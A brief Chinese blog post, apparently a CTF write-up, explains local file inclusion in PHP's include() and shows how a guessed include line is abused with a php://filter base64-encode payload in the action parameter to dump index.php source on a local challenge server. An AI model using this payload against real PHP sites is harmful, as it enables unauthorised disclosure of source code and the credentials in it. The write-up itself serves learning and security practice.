CTF web题总结--LFI

来源:互联网 发布:空间自动留言软件 编辑:程序博客网 时间:2024/06/01 08:50

本地文件包含漏洞(Local File Include),是php的include()函数存在设计缺陷,学习链接:php文件包含漏洞总结
题目的url都是类似这种:

http://127.0.0.1/web500/index.php?action=front&mode=indexhttp://127.0.0.1/web500/index.php?action=front&mode=newnotehttp://127.0.0.1/web500/index.php?action=front&mode=delete

猜想后台代码可能是这样:

include $action.'/'.$mode.'.php'

于是利用文件包含获取index.php源码:

http://127.0.0.1/web500/index.php?action=php://filter/read=convert.base64‐encode/resource=./&mode=index
原创粉丝点击